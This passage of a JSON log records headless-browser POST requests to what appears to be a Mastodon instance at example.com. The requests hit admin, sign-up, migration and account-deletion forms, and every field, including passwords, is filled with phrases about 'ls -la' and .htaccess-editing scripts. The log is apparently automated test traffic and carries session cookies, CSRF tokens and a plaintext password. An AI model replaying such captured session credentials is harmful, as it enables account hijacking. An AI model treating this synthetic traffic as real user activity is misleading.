_mastodon_session=3QBPMJBku9WNiZazEEUTcFV6pKlvzbsT7gXh5Nzy%2BHyea0ILrbn1l7xhS0m3wzLvj6i%2F%2FB1zKtdul%2BSgzUmCFmrWncqFse5VUCSy0im8Q8pWuI%2FEP93CiphAdLXpoATmowUTRIDd1f2F%2BxcZOw8K8NGXUrTFypVuu2X41KV8typrJJG2ukjFHDvc2sghz%2BErVwk8o%2BHv8zjo7uF4hvbDwwwPUbCDcc5iriMJ6HUEwef7xFm7Y4pTTshD8JrIoHLcNDY0egz9gpF47CpOpffL8u57srSB%2FbSU%2Bcm%2FJKFbxBSSLExrp4FZnCuiRsdNMaXZFxHFCwTvo4Sdt1TCRvikjul0MKvUqfofVsQBK6P4VfNJ%2FrSTZsjAe11J%2FblR615mq0YGcwFqApht--WXNSjLfNS0HnC6B4--nutvcNNDDU0nJz0D%2FHbnlw%3D%3D"], "body": "authenticity_token=tSPoPblP8K0OkEbhtpvJaVxPTxiQymtlINoDK-mO6c4fA-FDnIl22bZ6Ovw51OQs2ZLj2_Fm8xX7qSad44RgNA&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 248", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MjAuMjE5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--e337cf3029ba392b7f09ecdd1933518913fddddc; _mastodon_session=ATs6OaOlS31KCVz8tHji8ZH4dn0ZbpRdsDrci9%2F2YShpPmI41tLIzlwlhvautG%2BdVve9Xs7sT8ssTueqhY4j4%2BGBg1v6ld2ITKbYzAf5mBuhbpsedc3qMgOXheCy%2FqEna0HiOQVuhW9G07fEGt%2F9qdh80j9uy%2FSG6g%2B08dNJgjWDILPEHkCDMuxXnhKR21LfREpQv1hpb0GIobYFNrRwuEjws96rtztzLBB02ZCe6M0LQhx3Se6a6aQNrUCHQ7TjESQa6kvq9oa0tncobt%2BkvtCiBjcKhCvB2SJ75pAg3oL4IZq4fcRLMj2uQ15OIAHzlQ19mDJX0vrq7Xm%2Fgsd7Hxt%2FCy5uPmYoWeCwGa7DrSTPeFu6UmQ%2FMX9HJo6XY1hBjCfPNcCdoC9%2B--YAPLMVeHKzAyshXh--rmNIq3n%2FZRmmzPZ08DH1jA%3D%3D"], "body": "authenticity_token=MRqdBhQXP46iBZlnz1zp917yxAkCh7gaqsnDMBRJWeRnv_jx3PgwPxkhnyqHsJ8-mr13hNmX6dhs2bmkH_Fdig&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 244", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6MzEuODM5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f8810e90dc433be1ba44410b3437e4799f846c8e; _mastodon_session=P210zwPkUaA6%2BAtwOC0ML6tw5baQVDzMoW5XBvzwUoa8mOhsmIRFoMmua0tymkqis16la6U5lbxHOwi6bxNyeYfwR7bMCp%2Fw5qM65A3hvm91mzYY5Goxj8u9slwK2RFD4rTtKgd7p4G6twFNxtqMFm7bztsYLO45X%2BQUjKpUIYYYy7BYRtDZ%2Fc1LiYuWeC3Zcclw5lVd3FCcWnvHPvuVB6ur7nwUhMifJxSg7SL1JGVqpKX9Qdd5xH8zGhKXprhBdsa8KvDjIaDh6DGn54RONeug%2FSIemud7tPgiaLkYmGnpDah2s3KTT7Ppe%2F5TifuSEjHCSejv60LNx0twfNY2gFtPqYsce5EnGzHRoFP2jB16YXcid7Lg4gFyay1yrvF4p3b9%2F5Y4vM3I--nDH6F1BO8hlJfgUl--yg6Egb21lWTT2%2B4wHansgA%3D%3D"], "body": "authenticity_token=UNmH3Iq9JeGaI26nrQyuq1n4gohEYaKAzHvjESB_PJOtEPeC-Hcv3BnQM9JdCqE-RRwJF6hwUb3rxjh6Abr2Zw&account_warning_preset%5Btitle%5D=ls+-la+shows+the+.htaccess+file&account_warning_preset%5Btext%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 567", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6NDMuMTYxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c3f4be0d29e5e2d9e6660f05a178a6907b613968; _mastodon_session=H%2Fs6SGLSWeRWvoe%2B9HOgNS7MHS13%2B02UAb0hFqY5DJx6LdnnRwxA6VL%2Fky92SWuJILPbA9%2Bj46uneDuWybRSCYX01dZR9JiTDALZYWPRAO3OPDnNjl2fPexxRWn84HgHXUKiSn0F%2FH%2FEaEcBwaYb3xBH8eMIlWtIteG0sxqbmLPMmxvwBf6DF34CU0TNq3glCZG8BT2kgiN79D45I8xHYJ%2Bc6TdLhR2S0C7aZalJllvdHknfGXlrAvHDI2mjchI5oJRsSHGCKbNYT0Rb6L3vBdN61ntDc%2B4hbS6ZW7%2F5Htek%2F838uJp4s57WHka2W4fHc6%2BRXbQUbFvtNYQyXI8v7Efy4KC5d9ktQXQybBIr0SofB8THYnETw8lgFCjnkhWY0p9TBiOjs1G0--zu3JGEIWNo9aQSNI--mnDCcikLpqp7nMpkxAZyuw%3D%3D"], "body": "authenticity_token=NLy1Z6HP4BluJMMmz66ZufNuu0WbjSishNqzoBh1c-piAjb7FTZlw7lczXJKf1ussZs4wvesTzidBHF-GF6nfQ&user_role%5Bname%5D=ls+-la+shows+the+.htaccess+file&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 409", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDk6NTUuMTc4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--eb6aa9e80a364bfd1d739f910933894bbdb3b842; _mastodon_session=JlI%2FgpN3pO5%2FjYoEkdkHVFytCQDYr3dChjujzui6flIgJt4MY7R77kkuLUBrHQ8cQsm882UfAvpQE5K7Kn0w2sxs4k9BAtTriXP9ZzuqE2wUwKRcs5JFmNNLsRrC0yFAB2Vrqo5o6k2eEChldu8nPKeuV23qm4Y%2BiXUsNCD55rhuYDeQi7b4M0%2BxcG3MBTERYozAhTPkQ9No%2FTQCi7dceo3VE02aY7T4xhJtnZv%2F%2Fzvgb4%2BiJOyhE0mXzpr62lod8k2BS%2BdiKlKbJTtXiJmp4f0oFXjGrTskdbSts06OYQj71BEHG9XZOfPLtEHLonD%2FKgqU9aeaL3NVzD8sA49hdXAjrff90sQdu9Pu2ORzDCzWtzoOKfEb%2FvbiUsQqlgy2mQ8UCGpU%2BTbw--jXQ5qo5Mp5ft6flw--bhXHX%2FLzpIKZ1syW0vgwyQ%3D%3D"], "body": "_method=put&authenticity_token=4tJ7f31IbMnroyiCKx46gIDXWXya9jlqtvWp6pHzFTi_WggTUdhhrNNl4ccGvUUd3uk58mZKqyRFYbfuBniAbw&terms_of_service%5Btext%5D=ls+-la+shows+the+.htaccess+file&terms_of_service%5Bchangelog%5D=ls+-la+shows+the+.htaccess+file&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 499", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=U48SUvi%2BQv8bl2eoC%2BWo3Src9xcYkdTucsJM%2FNz%2Fbo4o4pAyHStCaNS3bVJWVVWqR3LbIuRE9GjF2DBVFcqkNxy8KS8lvJcaJuTCFjGufDcdwGY8GljElyGd5B9lVMFrcgfpb3h8Uu66Gohfga%2FY0B50ITg3mblcuFAzDOHxd5uc9hor73%2FvRdZNCEJn7F%2F5Efc94AAIklqSBAkyM6yKRQug9ajNgLtLj%2B3BgPbBdJ2M4zJdPdxXkDkexiefv7MYCpS2s1kMxw2%2FMViwUDDna0ZOBHxHwE1WMPaW4wiXGXG9kyNVPuAERzZbhK%2Fj1f4sNG9zumNxdYZKouWc%2BqdymDmrOkacgbSa5MIMX1ptZd4laxGxQpfJBo35CtLg--Me9oz2Kua8c7MCqq--EoEPVGJHgOX%2FqrgGYqp9ZQ%3D%3D"], "body": "authenticity_token=iXEeYb_02XISojzm1HWVknPdVf33mHGJwDKyT4M4fGc3MYW4hGR5Ex27OCSLlOepfPKuhat1ydAXiZvw5EPQag&user%5Baccount_attributes%5D%5Busername%5D=river_notes&user%5Bemail%5D=river_notes%40example.com&user%5Bpassword%5D=river+walk+at+dawn&user%5Bpassword_confirmation%5D=river+walk+at+dawn&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=ls+-la+shows+the+.htaccess+file&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 255", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6MzAuNDk3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--84a60be99147b240cb6dccbc44040c0b739c4b43; _mastodon_session=UABRdVbMXXMFFp%2F7Z7mB6MiT9Bm1%2BYC0n%2BTfv%2BFsyoZl4IlttNmj6g3vjLC0zCFWPnIa19pqaojDLa0jq70xdLxeqpDq2ddhaH2A65FS9kP42qVkY8Ln4z9meXZPIDHJB498zA1nE0Qx%2BLkoqnM4jAUZC32oBZlSOudN4SovU4RslsocCw2n8U7SGi7UuRxLubeSW%2Fh0TSrMnh4V4SYYe6y%2BSrdtwH%2B4Q%2Fy028E3qkVzNhZ6CgoP6WUu16KqIQ67XYw7nruVCmwOgOGaIPV9sWRxoPoUnjk%2BuLFWJotAf4fwZOl2AYdHxmYhxRQTY3uxPCY10KSixTRSPMC063UueXJlMYO3GDHYGaYs7PR5mJwDbD3NIbSfkFsCANrc36s%2FQzYS0FK%2BlNwI--rOtCEEGrp2iN3ow%2F--3QR7ze5LibzMQQgiCzYJow%3D%3D"], "body": "authenticity_token=SXjx9RPA5uRxQZF-P0lkvzH3b8TFb1_-xbhUTG3jt_7Q7L_9FnX30uzFy4M01gptjMIEszogCg350z8hbEh5GA&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 247", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6NDIuMzMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--68c14193269c529ddc12857986a93ba1aec6b66f; _mastodon_session=nqDf8sTcJ83GaXsWMy3fYF6cRcU0LEBemdy2mJYanhadpsmOMHyM1quz2C%2B%2FIREYvrCS5cQzc5U2VBI4CMQsqqV%2BXT%2F9p1BIJanCUjECdvFZCHM%2BDSdfDPG3eGxmzGTLv56imNWp0ZwJ6KnRLlFrvONu9U1tm0QvAKPlHiS1HAPCZVyNTnArv4F53czeFfMrNFMYgbDyt%2BZE0Q0B3pv3w5mm34rFyYebbbTmKKF7k1t%2F%2BbNPzoQQDLf8dc6et4JPaN6VvphHWur8AzkUAB5IjFNbyVCbK%2BPPjeTZdECwsEj7L6a6ALpVd6uYQ%2FSBhOlYKGJGavXWeQ%2FnbTcOlX%2Bn3qvzKJSfiHEv0XtNTwB6y6XHC3ZsN0lVURVid242amjlTMDW6IaC2rwK--V51WqvLjN5pOQ7YT--ibkq8GFdvFc%2Fq5zUb0%2FTpw%3D%3D"], "body": "authenticity_token=Xw5mZPitgTJXdW8-TdNa3TYCLun8csLrDovPo_W1U0osLVwOJLJoeOhxAPuuR5khP1Ff1LmcdU27saPE65rP6Q&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 261", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTA6NTcuMDU3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0efff5f44c8a4d5bfb20180b3cb13cacd740f286; _mastodon_session=DJi13LSLrj1ypRd1bhDih7%2FsHs5XfVCkApWaSgkam2FBv3KApyO%2Fa72cqHb2urmABoImh2pWoTctoy5UQGToDsMvRQq3LqSO2K7ZZQs3BL%2FJxR6hb9nOjkULJ1BpHDheXsVFMSSHKyJP4dRVcIaHMs8aVlpNGkPG6dVyDl1R3p1f%2FKwLF3vrzKbLwW%2B4j8jMyleto4ZgKIf1DEEouxh6UVVOx4SWTw1Yxmk0CvvNzLYzuZLSHyJyvl%2BZSYP4ucV5k4odh%2FRfryyp9PgfWHoG4DgnbAGyzi0%2BNKSuq3xGuzB0XRJ1dXoSX58eHSqNcTyEK0VEZ8xmmtpfI%2FLevNGZmfMgKQmJFiG23Nk4zUgf0vNv%2FTMbymxTrf%2F3pMlil9sFXYoYGScJ14x1--0TurehiSTwEJLmic--8WKC0Ee%2FD2%2BsaSNKpKF0tw%3D%3D"], "body": "_method=delete&authenticity_token=aCKhS0vSHmaExtu9pqM9bJqRhInsZsfvDOT3erwJeCmwdKht7B63rLdiO-zeBznqG7oHmZV-nFWz2idyDJ1vLw&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=python3+and+powershell+scripts+that+edit+.htaccess&button="}
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 236", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MDQuODY4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--053251e947949cb91f6630e2389ab8db71a4cbcd; _mastodon_session=GJPgZRCfm8%2B2Jr%2BBtvi4Uzmb%2FS0HzNliy9eyg%2FsBytLnymG8378dHLgC0qF60vvzZmSEydnrUv2N2A3sXM2NbAZEJHGE%2F9aCJ8DvhWSKnfZUlTZUead%2FQnZ%2FGzmrCTDfzqH0VBEwx1eFBJsPE8iSXeZx1Rk8Kq%2FCPf3pedCTkPVlIUdopx6z2jwfsCdPVwSjwCG2YsISin7p52cI3H5c2Bvpj6YqecDmbsmTxZYOfwnN8zqgk7PCnSd1XjfmqAPMyyZ8SjgcdE9vVs0Y%2BJBG2xArvYRGmO4XfSzfVLauqH%2B%2FU29%2Bph3v%2BPnx7UCDTmlhltzeOQ0iqqJ7I0AqQyL7SBVT18rdFbYZF603xdEk0%2FlTGzGyWOL795Qfso0AQ%2FJdzfaJ%2BVMNXNJm--OgT%2FPuD%2F%2BYxTzakS--7GVODJeVXhEs0FTIO5kLIg%3D%3D"], "body": "authenticity_token=oWzo1ySenTJKxkWE3--ZxkTK-2MgpBCVifJoGwtkesY4-KbfISuMBNdCH3nUcPcU-f-QFN_rRWa1mQN2Cs-0IA&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 228", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MTE6MTMuNTY1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--b52ae42ed78ebb26ad0ec5712ec318ab6868704a; _mastodon_session=vQBJNLFgFKuCutA0r7biK376EPucsPnOWNEehfEdaMmhnPXy%2FmXFDnuasTp%2B7NHzhrZlRj8GVEeDX2qcu%2F4KR7PRYZSLcTVhYHZiheTE18bi4F8OxbWzhQ7OByoZSeAtWxfR1yRNqg%2F2QiH%2BAAMtwMfdpFa18eD2mJdVO1ZA6gzCResJET4guZTo19ZCU6ZHxVgrAdRyrd6XlsNnYOsEpOSP9ZnlFu%2F2P1gJATd3L5mf9sqvaMwOKURDFfRKXZvgknRww91GA62zoSnnR2gPApvxwZqKjIYMY04IcdDWfr%2BMnDjc4fBkBZQqEiAwsSgq0TfNqgapIG2TbFhwwG3mOoKgLKr2Bc28BB9beg26zWPExpsLfvnTZmaoS4JNi7ajcVglhRxCBScS--NMCJY3G7DTP5Wfty--vwWL%2BoM3LXJPty41J1Vpug%3D%3D"], "body": "authenticity_token=euxXZxII5Z8B9ueHrZL_oPAjadXyDHo_Ou4xbeKPzR4Jz20NzhcM1b7yiEJOBjxc-XAY6LfizZmP1F0K_KBRvQ&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=ls+-la+shows+the+.htaccess+file&button="}
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 242", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 